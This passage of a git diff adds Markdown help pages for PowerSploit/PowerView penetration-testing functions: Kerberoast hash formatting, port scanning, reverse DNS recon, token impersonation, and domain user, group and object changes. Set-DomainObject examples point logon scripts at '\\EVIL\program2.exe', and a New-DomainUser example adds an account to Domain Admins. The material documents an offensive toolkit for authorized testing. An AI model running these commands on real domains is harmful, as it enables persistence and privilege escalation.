spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OutputFormat +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Format + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-Portscan.md b/docs/Recon/Invoke-Portscan.md new file mode 100755 index 0000000..49d9e32 --- /dev/null +++ b/docs/Recon/Invoke-Portscan.md @@ -0,0 +1,430 @@ +# Invoke-Portscan + +## SYNOPSIS +Simple portscan module + +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### cmdHosts +``` +Invoke-Portscan -Hosts [-ExcludeHosts ] [-Ports ] [-PortFile ] + [-TopPorts ] [-ExcludedPorts ] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts ] + [-Threads ] [-nHosts ] [-Timeout ] [-SleepTimer ] [-SyncFreq ] [-T ] + [-GrepOut ] [-XmlOut ] [-ReadableOut ] [-AllformatsOut ] [-noProgressMeter] + [-quiet] [-ForceOverwrite] +``` + +### fHosts +``` +Invoke-Portscan -HostFile [-ExcludeHosts ] [-Ports ] [-PortFile ] + [-TopPorts ] [-ExcludedPorts ] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts ] + [-Threads ] [-nHosts ] [-Timeout ] [-SleepTimer ] [-SyncFreq ] [-T ] + [-GrepOut ] [-XmlOut ] [-ReadableOut ] [-AllformatsOut ] [-noProgressMeter] + [-quiet] [-ForceOverwrite] +``` + +## DESCRIPTION +Does a simple port scan using regular sockets, based (pretty) loosely on nmap + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 +``` + +Description +----------- +Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com + +### -------------------------- EXAMPLE 2 -------------------------- +``` +echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" +``` + +Description +----------- +Does a portscan of "webstersprodigy.net", and writes a greppable output file + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet +``` + +Description +----------- +Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats + +## PARAMETERS + +### -Hosts +Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in + +```yaml +Type: String[] +Parameter Sets: cmdHosts +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -HostFile +Input hosts from file rather than commandline + +```yaml +Type: String +Parameter Sets: fHosts +Aliases: iL + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeHosts +Exclude these comma seperated hosts + +```yaml +Type: String +Parameter Sets: (All) +Aliases: exclude + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Ports +Include these comma seperated ports (can also be a range like 80-90) + +```yaml +Type: String +Parameter Sets: (All) +Aliases: p + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PortFile +Input ports from a file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: iP + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TopPorts +Include the x top ports - only goes to 1000, default is top 50 + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludedPorts +Exclude these comma seperated ports + +```yaml +Type: String +Parameter Sets: (All) +Aliases: xPorts + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SkipDiscovery +Treat all hosts as online, skip host discovery + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Pn + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PingOnly +Ping scan only (disable port scan) + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: sn + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DiscoveryPorts +Comma separated ports used for host discovery. +-1 is a ping + +```yaml +Type: String +Parameter Sets: (All) +Aliases: PS + +Required: False +Position: Named +Default value: -1,445,80,443 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +number of max threads for the thread pool (per host) + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 100 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -nHosts +number of hosts to concurrently scan + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 25 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Timeout +Timeout time on a connection in miliseconds before port is declared filtered + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 2000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SleepTimer +Wait before thread checking, in miliseconds + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 500 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SyncFreq +How often (in terms of hosts) to sync threads and flush output + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 1024 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -T +\[0-5\] shortcut performance options. +Default is 3. +higher is more aggressive. +Sets (nhosts, threads,timeout) + 5 {$nHosts=30; $Threads = 1000; $Timeout = 750 } + 4 {$nHosts=25; $Threads = 1000; $Timeout = 1200 } + 3 {$nHosts=20; $Threads = 100; $Timeout = 2500 } + 2 {$nHosts=15; $Threads = 32; $Timeout = 3000 } + 1 {$nHosts=10; $Threads = 32; $Timeout = 5000 } + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -GrepOut +Greppable output file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oG + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -XmlOut +output XML file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oX + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReadableOut +output file in 'readable' format + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oN + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AllformatsOut +output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oA + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -noProgressMeter +Suppresses the progress meter + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -quiet +supresses returned output and don't store hosts in memory - useful for very large scans + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: q + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ForceOverwrite +Force Overwrite if output Files exist. +Otherwise it throws exception + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: F + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://webstersprodigy.net](http://webstersprodigy.net) + diff --git a/docs/Recon/Invoke-ReverseDnsLookup.md b/docs/Recon/Invoke-ReverseDnsLookup.md new file mode 100755 index 0000000..348ad91 --- /dev/null +++ b/docs/Recon/Invoke-ReverseDnsLookup.md @@ -0,0 +1,106 @@ +# Invoke-ReverseDnsLookup + +## SYNOPSIS +Perform a reverse DNS lookup scan on a range of IP addresses. + +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-ReverseDnsLookup [-IpRange] +``` + +## DESCRIPTION +Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. +This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-ReverseDnsLookup 74.125.228.0/29 +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses specified by the CIDR range. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses specified by the IP range specified. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses piped from another source. + +## PARAMETERS + +### -IpRange +Specifies the IP address range. +The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. +Comma-delimited ranges may can be provided. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com +https://github.com/mattifestation/PowerSploit]() + diff --git a/docs/Recon/Invoke-RevertToSelf.md b/docs/Recon/Invoke-RevertToSelf.md new file mode 100755 index 0000000..4e978ac --- /dev/null +++ b/docs/Recon/Invoke-RevertToSelf.md @@ -0,0 +1,56 @@ +# Invoke-RevertToSelf + +## SYNOPSIS +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Invoke-RevertToSelf [[-TokenHandle] ] +``` + +## DESCRIPTION +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token + +## PARAMETERS + +### -TokenHandle +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +```yaml +Type: IntPtr +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-UserImpersonation.md b/docs/Recon/Invoke-UserImpersonation.md new file mode 100755 index 0000000..6b1afc4 --- /dev/null +++ b/docs/Recon/Invoke-UserImpersonation.md @@ -0,0 +1,100 @@ +# Invoke-UserImpersonation + +## SYNOPSIS +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### Credential (Default) +``` +Invoke-UserImpersonation -Credential [-Quiet] +``` + +### TokenHandle +``` +Invoke-UserImpersonation -TokenHandle [-Quiet] +``` + +## DESCRIPTION +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". +The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred + +## PARAMETERS + +### -Credential +A \[Management.Automation.PSCredential\] object with alternate credentials +to impersonate in the current thread space. + +```yaml +Type: PSCredential +Parameter Sets: Credential +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TokenHandle +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. + +```yaml +Type: IntPtr +Parameter Sets: TokenHandle +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Quiet +Suppress any warnings about STA vs MTA. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### IntPtr + +The TokenHandle result from LogonUser. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/New-DomainGroup.md b/docs/Recon/New-DomainGroup.md new file mode 100755 index 0000000..fc5cac0 --- /dev/null +++ b/docs/Recon/New-DomainGroup.md @@ -0,0 +1,150 @@ +# New-DomainGroup + +## SYNOPSIS +Creates a new domain group (assuming appropriate permissions) and returns the group object. + +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +New-DomainGroup [-SamAccountName] [[-Name] ] [[-DisplayName] ] + [[-Description] ] [[-Domain] ] [[-Credential] ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' +``` + +Creates the 'TestGroup' group with the specified description. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred + +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. + +## PARAMETERS + +### -SamAccountName +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. +Mandatory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Name +Specifies the name of the group to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisplayName +Specifies the display name of the group to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Description +Specifies the description of the group to create. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.GroupPrincipal + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/New-DomainUser.md b/docs/Recon/New-DomainUser.md new file mode 100755 index 0000000..80f4fcf --- /dev/null +++ b/docs/Recon/New-DomainUser.md @@ -0,0 +1,184 @@ +# New-DomainUser + +## SYNOPSIS +Creates a new domain user (assuming appropriate permissions) and returns the user object. + +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +New-DomainUser [-SamAccountName] [-AccountPassword] [[-Name] ] + [[-DisplayName] ] [[-Description] ] [[-Domain] ] [[-Credential] ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword + +Creates the 'harmj0y2' user with the specified description and password. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred + +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +## PARAMETERS + +### -SamAccountName +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. +Mandatory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AccountPassword +Specifies the password for the created user. +Mandatory. + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: Password + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Name +Specifies the name of the user to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisplayName +Specifies the display name of the user to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Description +Specifies the description of the user to create. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.UserPrincipal + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/Remove-RemoteConnection.md b/docs/Recon/Remove-RemoteConnection.md new file mode 100755 index 0000000..fe6f3b3 --- /dev/null +++ b/docs/Recon/Remove-RemoteConnection.md @@ -0,0 +1,84 @@ +# Remove-RemoteConnection + +## SYNOPSIS +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### ComputerName (Default) +``` +Remove-RemoteConnection [-ComputerName] +``` + +### Path +``` +Remove-RemoteConnection [-Path] +``` + +## DESCRIPTION +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. +If a -Path isn't specified, a -ComputerName is required to +'unmount' \\\\$ComputerName\IPC$. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +``` + +## PARAMETERS + +### -ComputerName +Specifies the system to remove a \\\\ComputerName\IPC$ connection for. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: HostName, dnshostname, name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the remote \\\\UNC\path to remove the connection for. + +```yaml +Type: String[] +Parameter Sets: Path +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Resolve-IPAddress.md b/docs/Recon/Resolve-IPAddress.md new file mode 100755 index 0000000..744c764 --- /dev/null +++ b/docs/Recon/Resolve-IPAddress.md @@ -0,0 +1,66 @@ +# Resolve-IPAddress + +## SYNOPSIS +Resolves a given hostename to its associated IPv4 address. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Resolve-IPAddress [[-ComputerName] ] +``` + +## DESCRIPTION +Resolves a given hostename to its associated IPv4 address using +\[Net.Dns\]::GetHostEntry(). +If no hostname is provided, the default +is the IP address of the localhost. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Resolve-IPAddress -ComputerName SERVER +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +@("SERVER1", "SERVER2") | Resolve-IPAddress +``` + +## PARAMETERS + +### -ComputerName +{{Fill ComputerName Description}} + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more IP address strings on the pipeline. + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +A custom PSObject with the ComputerName and IPAddress. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Set-DomainObject.md b/docs/Recon/Set-DomainObject.md new file mode 100755 index 0000000..482d86d --- /dev/null +++ b/docs/Recon/Set-DomainObject.md @@ -0,0 +1,346 @@ +# Set-DomainObject + +## SYNOPSIS +Modifies a gven property for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Set-DomainObject [[-Identity] ] [-Set ] [-XOR ] [-Clear ] + [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. +Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program.exe for object testuser + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser + +### -------------------------- EXAMPLE 3 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose +``` + +Cleares the 'department' field for both object identities. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose +``` + +Name Value +---- ----- +NORMAL_ACCOUNT 512 + + +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-DomainUser -Identity testuser -Properties scriptpath +``` + +scriptpath +---------- +\\\\primary\sysvol\blah.ps1 + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: \[Set-DomainObject\] Setting 'scriptpath' to '\\\\EVIL\program2.exe' for object 'testuser' + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\\\EVIL\program2.exe + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Set +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: Reaplce + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -XOR +Specifies values for one 